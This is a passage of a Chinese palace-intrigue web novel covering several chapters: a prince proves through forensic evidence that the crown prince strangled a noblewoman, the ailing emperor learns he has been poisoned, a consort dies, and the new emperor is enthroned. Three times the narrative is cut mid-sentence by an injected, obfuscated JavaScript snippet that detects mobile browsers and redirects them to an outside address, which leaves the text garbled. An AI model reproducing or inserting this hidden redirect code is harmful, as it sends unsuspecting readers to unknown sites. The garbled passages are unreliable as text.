“贵人饶命,我说!我说就是了!”眼见着面前的这个男人是来真的,牛大力立刻跪下身来对着萧祈安道—— “那日晚上杨二小姐肿着一张脸跑来了五皇子府,哭着喊着要见五皇子妃。后来五皇子妃来了门房亲自把杨二小姐接到了她的院子里,不过半个时辰,五皇子也去了五皇子妃的院子。” “然后呢?”萧祈安手上握着刚刚刺破牛大力的腿还在滴着鲜血的剑,语气严肃的对着他问道。 牛大力见他这般样子,于是又哆哆嗦嗦地开口了。 “然后他们三人便在皇子妃的院子里又待了半个时辰,最后……五皇子身边的内侍去门房套了一辆马车,他们三人便坐上马车出门去了。” “你知不知道他们往哪里去了?”萧祈安继续问道。 “那小的哪儿知道啊……诶诶诶,贵人您别急,您把这剑放放可好?咱们有话好好说,好好说……小的瞧见那马车……应该是往皇宫的方向去了……” 牛大力这番话说完,在场的所有人瞬间就明白了。 “这是两百两银票,门口是一辆马车,你拿着这笔钱驾着这辆马车立刻从金州城里消失。若是日后我再在金州城里见到你,我还是会要了你的命!” 萧祈安从裴言的手里接过两百两银票塞到了牛大力的怀里,留下这句话就挥手让他离开了。 而这头的牛大力也不敢耽误,因为他生怕自己慢了一秒钟就会被眼前这个阎王一般的男子给一剑刺死。于是他快速收好银票,逃也似的就离开了。 “呵……这件事,果然和太子有关!” 第一百七十二章 线人与真相 出乎所有人意料之外的,太子身边那个最得宠的吕良娣,居然是很久之前萧祈安安插在太子身边的眼线。 “大概七八年前,我爹娘被村里的地头蛇打死,我也差点被那地头蛇抢去他家中当小妾。是贤王殿下偶然路过,替我教训了那地头蛇,还将我救了下来。” 这会儿坐在众人面前的吕良娣,丝毫没了平日里在太子面前那般妖妖娆娆的样子,整个人看起来显得十分的清冷疏离。 “难怪从前父皇总说六弟你心思多呢,七八年前……你才刚刚出宫建府吧?你那会儿就想着要往太子身边放眼线了?” 四皇子看着眼前的吕良娣,脸上瞬间露出了一副难以置信的表情。 “我没想让她害太子,只是想着若是以后有什么事情,我能早些知道这里头的消息。” 萧祈安有些不好意思地看了一眼四皇子,随即向他解释道。 “所以你说的都是真的?那杨二……早就同太子有了首尾了?”长乐公主想着刚才吕良娣说出来的话,整个人还是一副晕乎乎的样子。 她从前一直以为杨素灵整日里与她们这群贵女混在一块儿,是为了给自己找个好夫家。没想到这女人心可大了,她是想要当太子的女人啊! “所以我如今有合理的理由怀疑,太子为了借宁儿让杨二小姐当众出丑的这个由头将我拉下马,随即趁杨二小姐不注意的时候杀了她,最后将她运出宫丢到了郊外装作自杀的样子。” “那杨二一心仰慕太子,根本不可能对他有所防备。太子若是想趁机勒死她再伪装成自杀的模样,真的太简单不过了。” 萧祈安习惯性地摸了摸他大拇指的那个扳指,脑海中的思索却一点儿都没有停止。 “这件事情很简单。”听得萧祈安分析出来的经过,夏明博立刻就出声了。 “一个人是上吊自杀还是被他人勒死,在她的尸体上一定会有重要的发现。” “那杨二小姐死了没多久,尸体还放在家中停灵。听闻圣上要调查这件案子,前日便将她的尸体送到大理寺的殓房里了。” “这就好办了。”毕竟在都察院待了好几年了,查案对于萧祈安来说也不是一件陌生的事情了。 “若是那杨二真的是被太子勒死的,她死前一定会有所挣扎。女子的指甲很长,她挣扎起来就一定会抓伤凶手的手、脸或者身上任意的地方。” “阿嫣。”萧祈安转头,目光严肃地看着坐在一旁等待他吩咐的吕嫣,“你今日回到东宫,找个机会仔细看看太子的手上或者其他的地方有没有被女子抓伤的伤口。” “夏大人便再吩咐大理寺的仵作仔细检查一下杨二的指甲以及她的颈部索沟。毕竟上吊自杀和被他人勒死,颈部的勒痕,也是不一样的。” 听得萧祈安这番条理清晰的分析,众人瞬间便觉得茅塞顿开。 于是,一场和时间赛跑的调查,便在私底下紧锣密鼓地进行着。 三天后。 这一次,是萧祈安主动带着人证和物证在紫宸殿外求见显庆帝。并且他口口声声要求此番一定要太子和五皇子与他当场对峙。 显庆帝的面上依旧是从前那般似乎随时能洞察一切的样子,他盯着萧祈安看了许久,最终只在他的脸上看到了坚毅的样子。 他终究还是认命般重重地叹了一口气。 “老六,你要朕将太子和老五叫来紫宸殿,可是之前杨家二小姐自杀的事情有眉目了?” 显庆帝看着眼前那个脸上早已褪去了青涩如今只显成熟稳重的萧祈安,沉声问道。 “回父皇的话,儿臣经过一系列调查以及大理寺仵作重新对杨二小姐的尸体进行验尸,如今有了不同的收获。” 萧祈安对着显庆帝行了一礼,随即又有些犹豫地问道,“如今这件事情必须将尸体抬上来才能解释清楚真相,不知父皇是否……” “萧祈安,你放肆!” 还未曾显庆帝开口回答,一旁的太子忽然厉声打断了萧祈安的话。 “你为了包庇自己的侧妃,居然一而再再而三地在父皇面前演戏!紫宸殿是什么地方?如今你居然要将尸体搬进殿内,孤看你是发了疯了!” “太子如此激动做什么?莫不是你心中有鬼,不愿意面对真相?” 看着太子又将矛头重新对准了自己,萧祈安终于不再畏惧他了,而是转过头来用那双探究的双眼死死地盯着他。 “逼人自杀的是你的侧妃,万般纵容包庇罪犯的是你贤王,这件事情与孤有何关系?” 这会儿的太子被萧祈安一反问,心中有些忐忑,但是他面上依旧是一副无所畏惧的样子。 “既然与你无关,你便不要随意插嘴打断老六的话,站在一边听着就好。” 看着两个儿子来回争吵,显庆帝也没有生气。他只是等两人都住口了,轻飘飘地对着太子说了一声。 “朕当年和南豫那群蛮人拼杀的时候,什么场面没见过,一具尸体而已,有何好忌讳的?”说到这里,显庆帝便对着门外喊了一声,“潘德忠,让人把尸体抬进来!” 潘德忠得了圣上的话,便挥手让大理寺的人将那具盖着白布的尸体抬进了紫宸殿。 萧祈安见人将尸体抬进来,先是对着显庆帝点了点了,随即便将尸体上的白布“唰”地一下掀了开来。 杨素灵就那样躺在那里。 因为如今已经接近腊月了,天气寒冷,所以哪怕杨素灵已经死了半个来月了,她的尸体也没有众人想象的那么可怕。 只是脸上和四肢都分布着一些大小不等的青紫色尸斑。 在萧祈安将杨素灵的尸体暴露出来以后,在场众人面上的表情各异。 显庆帝和萧祈安同样是那般面不改色;太子则是不住地皱着眉头,似乎并不想面对如今眼前的场景;而躲在太子身后的五皇子,面上早就已经吓得如同一张白纸一般,哆哆嗦嗦地半句话都说不出来了。 第一百七十三章 不配为储君 显庆帝盯着杨素灵的尸体看了一会儿,最终将目光重新投到了萧祈安的身上。 “尸体已经抬上来了,有什么话你可以说了。” “其实儿臣想要说的话很简单,这件事情也并不复杂。”萧祈安走到杨素灵尸体前面,丝毫不惧地将她的眼皮掀了开来。 “一般人若是上吊自杀,她的眼球里是不会有这种出血点的,面上也不会呈现出这种青紫色的样子。” “最重要的是上吊自杀的人,她的尸斑大部分是分布在双手和下肢。而父皇请看,这杨二小姐双手和下肢的尸斑颜色明显不一致,很显然,她双手的尸斑是后来停尸时间长了才长出来的,而不是同下肢同一时间长出来的。” “所以你说了这么多,是想要表达什么?”显庆帝听着萧祈安头头是道地分析着,眉头紧锁。 “儿臣想要说的就是,这杨二小姐根本就不是自杀的,而是……生前被人勒死然后再伪装成上吊自杀的样子!” !!! 萧祈安一席话落,在场的众人都呆住了。 眼见着众人这般样子,萧祈安也没有给大家喘息的机会,他打算一鼓作气将所有的事情全部说出来。 只见他又拉过了杨素灵的双手,捏住了她的指尖道,“父皇您再仔细看看,这杨二小姐的十个指甲缝里,是不是隐隐约约看得见一些带着血的可疑物?” 听得萧祈安的话,显庆帝便靠近看了,果然瞧见杨素灵的十个指甲缝里都有一些类似于人类皮肉的可疑物。 “这……是不是她在挣扎时抓破凶手导致的?” 显庆帝抬起头来,语气虽是疑问,但是心中已经明了了。 “父皇说对了!”萧祈安点了点头,随即转过身来对着太子朗声道,“不知太子可否将两边的衣袖撸起,让我看看您两边的手臂上是否有被女子抓伤的痕迹?” 眼见着萧祈安直接就把矛头对准了自己,太子心中瞬间就慌了。 其实当大理寺的人将杨素灵的尸体抬到殿上的时候,他心中就已经慌得不行了。只是为了防止被人看出他的异样,他一直都在强装。 可是如今听得萧祈安的话,他心里的防线也快崩塌了。 他也不说话,只是死死地拉住自己两边的衣袖,不肯让任何人碰自己。 事情已经到了如今的地步,显庆帝还有什么不明白的呢? 他顿了好一会儿,也不叫旁人动手,直接自己上前不由分说地就将太子的衣袖撸起。果然瞧见太子两边的下臂上不多不少刚好一边有五道明显是被指甲划破的伤痕,如今还尚未愈合呢! 显庆帝颓然地闭上了眼睛。 “太子,你还有什么好说的?” “父皇!父皇不是这样的,不是这样的!儿臣手上的伤痕,是……是和吕良娣行房事的时候被她抓伤的,不是被这个女人抓伤的啊!” 眼见着如今的显庆帝看着自己的目光全都剩下的失望,太子仍旧在苦苦挣扎。 “哦,太子不提吕良娣,弟弟倒是把这么个重要证人给忘了。” 听得太子果真把吕嫣搬了出来,萧祈安了然一笑。 只见他伸出手来拍了拍手,便瞧见吕嫣从殿门外走了进来。 如今的她脸色苍白,满脸都是惊恐万分的样子,整个人看起来像是一只受了惊的小白兔。 她入了殿来也不看任何人,只是直直地就朝显庆帝跪了下来。 “陛下饶命啊!太子殿下手上的伤不是妾抓的!双十节的那天晚上,妾本在花园里赏月,忽然瞧见五皇子和五皇子妃带着个女子入了殿下的房间,几个人关起门来在房间里待了许久。” “没过一会儿,妾便听到殿下的屋子里传来了女人哭泣尖叫的声音,后来……那声音就渐渐小了,直到再也听不见了。” “妾当时害怕,最近这些时日便一直躲在房内不敢出来。一直等到贤王殿下找到妾,妾才敢将这件事情说出来!” “是妾胆小,这才让杨二小姐命丧太子手中,求陛下开恩,饶了妾一命吧!” 吕嫣跪在地上,声泪俱下地对着显庆帝述说件这些众人都不知道的事情。而这头的显庆帝听完吕嫣的话,面上早就已经因为愤怒而变得通红! “吕嫣!孤对你这么好,你为何要出卖孤!”眼见着自己一直以来疼得和眼珠子一样的女人毫不犹豫地就站在了自己的对立面,太子都快气疯了。 难怪他杀杨素灵的当晚在门外听到了一阵窸窸窣窣的声音,他一开始还以为是野猫,没想到……居然是这个女人躲在门口偷听? 他发疯一样冲到吕嫣面前,不由分说地就想要踹她,最终还是被萧祈安眼疾手快地将吕嫣拉了开来。 “陛下救命,太子要杀人了!太子要杀人灭口了!呜呜呜……” “够了!太子你闹够了没有?!人证物证全在这里,你还想要抵赖到什么时候?!” 显庆帝抬头瞧着自己宠了二十多年的嫡长子,如今正如同一只疯狗一样在自己面前发疯,他感觉自己的心都快要死了。 他什么话都没有说,只是颓然地转过身去,缓慢地走到了书桌前,拿起手里的几张纸和一封奏折甩到了太子的身上。 “老六今日说的每句话,查到的每一件事情,早三日前,朕就已经查清楚了。” “你同那杨家二小姐早就在暗中有了首尾,你为了栽赃嫁祸老六和夏宜人,生生将那杨二小姐勒死!如此对待一个真心爱你的女人,萧祈正,你真的太狠心了!” “而且最重要的是,半月前的那场严重的痘疫,本来是可以避免的!” 说到这里,显庆帝更是一副痛心疾首的样子。 “你的门客,早半月前就给你上了折子,明明白白告诉你,金州城的医馆里似乎零零散散有几个全身长痘的病患在看病。可是你那个时候满心只想着怎么杀人嫁祸,根本无心在这件事情上!” “若是当时你能重视这个消息,哪怕你能力实在有限不知道如何处理,你把这件事情上报给朕,那半月前的那场痘疫也不至于死了那样多的百姓!” “萧祈正,你作为储君不顾百姓的性命安危;作为兄弟你满心都想着陷害手足;作为儿子你只想着如何欺朕瞒你的父亲!” “你就是一个十足的不忠不孝不仁不义之人!你这种人,不配为朕的太子,更不配做大容的储君!” 第一百七十五章 故人相见 那日回了府,夏韶宁就赶忙给公孙信去了信。 因为信上的内容太过重要,萧祈安不放心由驿站送去,所以直接就让裴言跑了一趟。 两个人焦急地等了一周,最终却只等到了裴言只身一人回了府。 “公孙大夫说,眼瞅着要过年了,他要在蜀州过完了年再来。”裴言抬起头来看了看满脸期待的萧祈安和夏韶宁,说完这句话后又快速地低下了头去。 “公孙大夫还是如从前一般如此……随心所欲的性格啊。”听得裴言的话,萧祈安有些尴尬的对着夏韶宁笑了笑。 天知道其实他是想说任性的,只是想着那公孙信是长辈,又曾救过他的命,好歹还是换了个文雅的词语。 “嗨,反正如今没几日也就过年了,师父这个人向来说话算话,他说过完了年来,那他便一定会来。” 虽然夏韶宁心中也有些着急,但是她还是尊重师父的选择。 于是,显庆二十九年就这样慌慌张张地到来了。 如今的显庆帝明显能感觉到自己的身体越发不好了起来,虽然早些年他的身体就一直断断续续地有问题,只是他却感觉这两年更厉害了。 太医院那么多太医,始终也没办法找到他这病的症结所在,一幅一副药吃了下去,也就只能让他强撑着身子安安生生地过完了这个年。 好在如今还在正月里,政务没有平日里繁忙,所以他尚且还能应付得过去。 可是每当他安安静静地一个人待着的时候,巨大的恐惧却仿佛一只长着嘴的妖怪一般好像随时都可以将他吞噬。 他忽然觉得自己很失败。 “陛下,贤王殿下和夏宜人来了,她们说想让陛下见一个人。” 这一天,显庆帝依旧是一个人待在紫宸殿,却见潘德忠快速走到他身边来朝着他禀报道。 “老六来了?让他进来吧。”显庆帝抚了抚额头,随即对着潘德忠摆了摆手,“叫殿里伺候的人都下去吧,正好朕也有话想和老六说。” 潘德忠点了点头,转身便把殿内所有人带了下去。 “给父皇/陛下请安。”萧祈安和夏韶宁入了殿来,便跪下身来朝着显庆帝行起礼来,只是这会儿站在她们身边的公孙信,却依旧笔直地站在那里。 夏韶宁见状,心中一紧,急忙扯了扯公孙信的衣摆,可惜他仍旧一动不动。 显庆帝一开始只是撑着头靠在龙椅上想问题,待看清面前这个白须白眉的男子是何人的时候,他的面上明显露出了十分震惊的神情。 他缓缓地从龙椅上站了起来,一步一步走到了公孙信的面前,盯着他看了好一会儿,这才有些犹豫道,“你是……公孙信?” “哈哈哈哈,我还以为陛下早就将我忘记了,没想到您还记得我。” 眼见着眼前的显庆帝叫出了自己的名字,公孙信忽然捻着胡须哈哈大笑了起来。 夏韶宁看着眼前两人这般反常的样子,心中有些疑惑。她细细地想了想,忽然记起自己第一次与公孙信见面时他对自己说的话。 她忽然什么都明白了。 想来,显庆帝与公孙信,这是故人见面啊。 “父皇。”一旁的萧祈安并不知道眼前这三人有着什么纠葛,眼见着众人都不说话了,他便又对着显庆帝开口了。 “这是大容名医公孙大夫,儿臣上次命悬一线都是公孙大夫救回来的。父皇身子一直不适,所以儿臣便想着请公大夫来给您瞧瞧,想着……” “你这娃儿莫说话咯,陛下这病,我可治不了。” 公孙信也不等萧祈安把话说完,直接就对着他摆了摆手。 “早十来年前陛下就曾说过我是庸医,所以这病,我看不了。” 萧祈安没想到原来公孙大夫同父皇早就认识,如今听得他的话,倒是有些云里雾里。 “您还没开始给父皇看诊呢,怎么就……” “安儿,你不必说了,是朕的不是,都是朕的错。” 显庆帝对着一脸不解的萧祈安摆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15371052|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了摆手,径直走到了昂着头不肯看他一眼的公孙信面前。 “大概十来年前,朕忽然得了一种很奇怪的病,这病犯起来的时候时常会让人觉得昏昏沉沉,思绪不明。” “那时候朕费尽心思寻到了公孙大夫,想让先生给朕看病。谁知先生只是给朕号了脉,又细细地看了朕一眼,就告诉朕,这病若是想要治好,朕就必须当自己是个聋子和瞎子,什么都不能去干涉,顺其自然就好。” “朕当时年轻,听完先生的话以后便发了好大的脾气,还扬言要杀了先生。谁知道不过一会儿的功夫,先生就不见了。” “朕后来又派了许多人去寻先生,就再也没寻到了。想必先生应该是已经离开金州了吧?” 显庆帝这番话说得很慢,似乎陷入了很久远的回忆里。 “难为陛下还记得。”公孙信听完显庆帝这番话,也没有立刻出声。他顿了好大一会儿,最终也只是重重地叹了一口气。 “我当时同陛下说过,这世间所有的事情万事万物都是有规律的,您若是强行要违背规律,您是会遭到反噬的。” 公孙信抬起头来,映入眼帘的就是显庆帝那张苍白到不正常的脸,最终还是伸出手来给显庆帝把起脉来。 殿内很安静,萧祈安好几次都想要出声说话,却都被夏韶宁无声地打断了。 夏韶宁转头看了萧祈安一眼,只是给了他一个安定的眼神后轻轻对着他摇了摇头。 也不知道过了多久,公孙信终于将诊脉的手收了回来。 “您如今的脉象瞧着比十多年前更加严重了。”公孙信抬起头来看着已经不再年轻的显庆帝,一字一句对着他道—— “早在十多年之前,您的身体里就有毒素的存在,只是那个时候的毒素很轻微,还不足以影响您的性命。” “而今日我再给您把脉,您体内的毒素早就已经深入到五脏六腑了。哪怕我用尽我的毕生所学,最多也就可保您——三个月的寿命。” 第一百七十八章 病逝 瑞香院的主屋里,孩子的哭喊声此起彼伏。 大姑娘和三公子的奶娘见自家小主子哭得这么伤心,一个个心疼得都想要上前哄一哄。却不想她们的手刚刚伸过去,就被夏韶宁使劲推开了。 “不许哄!就叫她们哭!哭给她们的母亲听一听!我不信这个世界上怎么会有这么狠心的娘亲,就因为自己那一点点放不下的自尊心,如此狠心的不管不顾自己的一双儿女!她怎么做得出这种事来!” 夏韶宁一边狠狠地说着这番话,一边不由分说地将挡在王妃跟前的所有人都统统拨到了一旁。 只见她“咚”地一下坐到了王妃的床前,对着她大声道,“娘娘,您听到了吗?您的儿子女儿都在哭呢!若是您不醒,您的孩子以后就只能被后娘作践了!您那么疼爱这两个孩子,您真的忍心看到她们以后落得这般地步吗?!” 夏韶宁平日里说起话来从来轻声细语,没人惹她的时候她也甚少发脾气。这是萧祈安第一次见她当着自己的面生这么大的气发这么大的脾气。 只是他也没有去出声阻止夏韶宁这般举动,因为他明白,夏韶宁是在用这种激将法想看看能不能让王妃清醒过来。 果然,刚刚还是昏迷不醒的王妃,听得大姑娘和三公子这断断续续的哭声,又听见夏韶宁这般恶狠狠的话,她居然真的缓缓地睁开了眼睛! “你……这女人……真的……好奇怪,你叫……叫我如何……恨得起……你?” 这会儿的王妃,说话的声音很轻很轻,整个人也依旧如浮萍一般似乎有些摇摇欲坠。 她用尽了全身力气拉住了夏韶宁的一只手,又费力地抬起了另外一只手轻轻摸了摸大姑娘和三公子的头,而后居然……笑了起来。 王妃用眼神看了看一旁的下人们,白露瞬间会意,转头就将屋子里伺候的人都给带了下去。 这一会儿,屋子里只剩下萧祈安,夏韶宁,还有大姑娘和三公子了。 王妃偏过头来看了一眼萧祈安,张开嘴想要说话。可是她真的已经病了太久太久,这会儿说出的话连她自己也听不清了。 此时的萧祈安心中也不是滋味,眼见着王妃这个样子,他便快步走到了她的面前,不由分说地握住了她的手。 “我在这里,你要说什么,我听得到。” “王爷……妾怕是真的不……不行了。妾如今只有一个……心愿,待妾……**以后,求您一定要……善待心若和……驰儿!他们两个……小小年纪……没了亲娘,求您……护着他们,别叫……旁人欺侮了……他们!” 王妃死死拉着萧祈安的手,每句话每个字都说得那样的艰难。只是哪怕她觉得此时的自己再累,她也想要将心中想说的话一股脑儿的全都说出来。 因为她自己也明白,或许,她这辈子,也就只能走到这里了。 萧祈安看着眼前的王妃,记忆里自己与她大婚的时候明明是那样鲜活的一个女孩子,不过几年的时间,她为何就成了如今这般样子? 哪怕自己这些年来对她并没有什么感情,可是到了这个时候,他的心里忽然还是觉得酸痛的难受。 “你放心,心若和驰儿也是我的孩子,我会好好照顾他们的。” 萧祈安别过头去,不想让人看到他那通红的眼眶。他缓了缓自己的情绪,随即又转过头来轻声安慰王妃,“你不要想那么多,你会好的,你会好起来的。” “王爷……不要哄妾了,妾……妾的身体,妾自己……明白。” 看着萧祈安这般样子,王妃只是苍白地笑了笑,随即又对着大姑娘招了招手。 “心若……娘可能要先走……一步了,你如今……已经是大孩子了,等……等娘走后,你要……好好照顾弟弟。娘……娘会在天上……看着……你们……” 一滴晶莹的泪顺着王妃苍白的脸颊滴落到了大姑娘的手背上,她感觉到了自己母亲泪水的温度,但是却无法改变母亲的生命已经走到终点的结局。 王妃就这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15371055|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样缓缓地闭上了眼睛,停止了呼吸。 “母亲!母亲你不要抛下心若!母亲!!母亲!!” 大姑娘的哭喊声显得那样的悲恸,直听得刚刚还气势汹汹朝着王妃大声叫喊着的夏韶宁也早就泪流满面了。 无论她如何努力,她也终究无法改变王妃的命运,这个世间,又少了一位好母亲。 …… 显庆二十九年正月十九,贤王妃纪容与病逝于瑞香院主屋内,享年二十二岁。 萧祈安一夜之间仿佛老了好几岁。 贤王府四处都挂上了白,陆陆续续也有人来府里的灵堂上祭奠。 好在礼部和太常寺全权筹办了王妃的整个丧礼,倒是也不至于让整个贤王府乱了起来。 夜,灵堂内。 夏韶宁穿着一身素色的衣裳,正跪在灵堂前给王妃守灵。 其他妾室们也依着各自的位份跪在夏韶宁的身后。 这会儿人人的眼睛都哭得通红,仿佛这灵堂内每个女人都在为王妃的去世而感到伤痛。可是这里头有几分真几分假,也就只有她们自己明白了。 “我与王妃相处的时间最长,这么好的人,怎么说去就去了。” 唐侧妃跪在蒲团上,这会儿正一只手拿着帕子按着眼角,另一只手往火盆里丢纸。 “说起来,王妃好像就是在夏侧妃得了圣上亲封的诰命以后就病倒了。” 许侧妃拿眼角瞥了夏韶宁一眼,小声嘀咕了一句。 “生老病死实乃人之常情,这会儿在王妃的灵堂上,许侧妃还是不要乱说话的好。” 苏庶妃紧了紧身上的大氅,说话的语气冷冰冰的。 “你们一个个消停些吧!” 这段时间心里积攒了很多的事情,夏韶宁早就觉得不耐烦了。 她往眼前的火盆里丢了一沓纸,厉声道,“别说我没提醒你们,王爷最近心情很差,你们一个个都管好些自己的嘴吧!到时候若是哪儿惹了王爷生气,可再没了王妃这么好性子的人去帮你们求情了!” 第一百七十九章 尧山祭祖 王妃的丧事处理完,已经是一个月以后的事情了。 虽说贤王府新丧,但是朝堂之上的大臣们都看得出来,圣上一点儿都不介意。 因为自从太子犯事被废了以后,贤王殿下就开始频繁出入圣上的紫宸殿。 就连王妃新丧的这一个月里都不例外。 众人都从这明显的变化里嗅出了一丝不一样的味道。 而这中间,有些人早就坐不住了。 大朝会。 “二月廿八是一年一度的尧山祭祖日,朕今年想带着贤王一道登顶祭祖。” 潘德忠刚甩着拂尘说完“有事早奏,无事退朝”这句话后,显庆帝便自顾自地开口了。 众臣听完显庆帝这番话,一个个你看看我,我看看你,半天没人敢说一句话。 “众爱卿若是无异议,礼部就即刻着手去做准备吧。” 显庆地睨了一眼朝堂之上的大臣们,见他们都不说话,于是干脆利落地就下了决定。 “陛下,这似乎,不合规矩。” 就在大臣们还在纠结是否要开口的时候,站在最前面一排的侍中袁林南站了出来。 他先是对着显庆帝行了一礼,随后瞥了一眼和他站在同一排的萧祈安,朗声道,“从来都只有储君陪着天子一道登顶祭祖的道理,而如今的贤王殿下他非嫡非长,贸然陪着陛下一道登顶祭祖,恐怕大容祖先也会不喜的啊!” “袁侍中这话说得还挺有意思的。” 袁林南的话音刚落,萧祈安却忍不住对着他发出了一声毫不留情的冷笑。 “不知道的,还以为祭的不是我们萧家的祖先,而是你们袁家的祖先呢!本王再非嫡非长,那也姓萧,萧家儿郎祭我萧家祖先,轮得到你一个姓袁的在这说三道四吗?” “贤王殿下,你……你怎可这般同微臣说话?!” 听得萧祈安这番毫不客气的话,袁林南气的胡子似乎都抖了起来。 “贤王说得有道理,废太子如今犯了事,他已经没有资格陪着朕去祭祖了。” 显庆帝说起了废太子,那面上的嫌弃更是让所有人都看得明明白白。 “朕心意已决,礼部去做准备便是。” 很明显,显庆帝已经不想再继续说这件事了。只见他对着礼部尚书摆了摆手,也就不再继续说话了。 宣政殿殿外。 萧祈安甩着扇子走出了殿外,一眼就看见刚刚被他呛声的袁林南正在同围在他身边的一群秦家门客不停地数落自己。 “早些时候还觉得贤王当真当得起圣上给他的这个‘贤’字,没成想眼瞧着太子殿下倒了台,他倒是越发嚣张跋扈起来!” 这会儿说话的,是与袁林南同为正三品的太子宾客荀照。因着太子犯事被幽禁,他也受到了一定程度的牵连。如今在显庆帝面前那是连抬头说话都不敢高声,只敢躲在背后随意曲曲他人。 “哼,他居然连老夫都不放在眼里,真的太过分了!”听得有人站到自己一边,袁林南更来劲了。 “各位又何须同他一般见识,反正……” 殿中少监吕和看了众人一眼,一副尽在不言中的样子。 “哟,各位说什么呢?说得这么来劲?” 眼瞧着那群人已经说得差不多了,萧祈安便摇着扇子走了过去。 几个人看见他走了过来,除了袁林南仍把头偏向一旁不想看他,其余人倒是都不情不愿地对着萧祈安行了一礼。 “要本王说啊,你们大可不必这么生气。不过登顶祭祖这种小事,连父皇都说今年不叫范慈大人的羽林军跟着了,你们还那般认真做什么?” 留下这句话,萧祈安也不管这几个人是个什么表情,转头带着张全和就离开了。 只留下刚刚还义愤填膺的众人,一个个不禁面面相觑起来。 “他刚刚说什么?今年圣上去尧山不叫羽林军跟着了?” 吕和转过身来快速挪到了荀照身边,又抬头看了看已经陷入沉思的袁林南,一时之间也不敢说话了。 “我得通知秦大人。”顿了好一会儿,袁林南这才下定了决心,转头就往宫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15371056|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门口走去了。 “吕大人,你还愣着干什么,还不赶快去寻吕美人,让她把这个消息递给皇后娘娘!” 眼见着吕和还在发呆,荀照便立刻压低声音对着他道,“这么重要的消息,可得好好的传到皇后娘娘的耳朵里才是!” *** 这厢的萧祈安根本不管那几个人因为他随意说出口的一句话忙成了什么样子,他这会儿已经回了贤王府,正满脸严肃地准备和夏韶宁说话。 萧祈安神色凝重地跨进了琼华院的主屋,转头就将屋门严严实实地关了起来。 “我和父皇后日要去尧山祭祖,如果没有意外,后日就是最后的收网之日了!” 萧祈安看了夏韶宁一眼,面上忽然露出了一丝隐隐约约期待的神情。 他与父皇已经布局布了一个月了,是时候将这群人统统一网打尽了! “会很危险吗?”看着萧祈安那副样子,夏韶宁心中忽然有些不安。 她转过身来微微思考了好一会儿,虽然知道不合适,但是她还是朝着萧祈安试探性地问道,“我能跟着您一道去吗?” 萧祈安似乎没料到夏韶宁会提出这样一个要求,忽然愣住了。 “你不怕?” “我当初那般千辛万苦去江州救你,差点被废瑞王的手下杀死我都没提一个怕字。如今这种已经早有准备的事情,我又有什么好怕的?” 夏韶宁转过头来,那狡黠的目光就这样与萧祈安碰到了一处。 两人只是对视了一眼,忽然就那样一齐笑了起来。 “若是打起架来,你躲远点,刀剑不长眼,别伤着自己。” 萧祈安伸出手,一把将夏韶宁拉进了怀里,下巴搁在她的头顶上不住婆娑着。 “您放心,我惜命着呢。”夏韶宁拉过萧祈安的手,忽然伸出手指在他的手心里写下了两个字。 萧祈安感觉自己的掌心痒痒的,待夏韶宁一笔一划地写完了,他才惊觉这丫头写的两个字是什么。 “平安,您与圣上一定都要平安!” 第一百八十二章 新帝登基 显庆二十九年二月廿八,显庆帝萧远山传位于皇六子萧祈安,随后于尧山驾崩,享年四十八岁。 文臣以丞相燕川为首,武将以车骑将军傅赟为首,亲迎新帝于太和殿登基。 新帝登基改国号为光启,如今是为光启元年。 以废太子萧祈正和秦文远为首的一众叛贼,主要人员集体斩首示众,剩下的其他人,该抄家抄家,该流放流放,一个都逃不过。 连续三四个月,金州城日日都在肃清叛党,但凡与废太子和秦家有一点儿关系的官宦人家,全都逃不过被牵连的命运。 光启帝怒斥废太子是个不忠不孝不仁不义之人,丧心病狂到居然想要弑父夺位。更是坦言秦家愧对先祖亲赐的“忠贞之士”这四个字,朝堂之内所有秦家党羽,若是参与了叛乱的,统统斩首抄家流放,其他未曾参与的,全部集体贬出了金州城。 就这样,盘踞大容几十年的秦家,与之前的叶家一样,彻底消亡于大容的历史长河之中。 值得一提的是先帝的秦皇后,光启帝本念在其侍奉先帝近三十年的功劳,只命她去宝光寺带发修行,不曾想要她的性命。 只是这秦皇后却是个刚烈的性子,一听到自己唯一的儿子****,自己的娘家顷刻间也倒了台,一怒之下居然在凤仪宫内触柱身亡了! 光启帝听闻消息之后只是轻轻叹了口气,吩咐礼部好生处理其身后事。 当然,畏罪自戕的宫妃是不被允许葬入皇陵,更遑论与先帝合葬了。 一切,终于尘埃落定。 *** 大容规定的孝期是一百八十日,再加上萧祈安刚刚登基,一系列事情纷繁复杂毫无头绪,所以他也就整整半年没入过后宫。 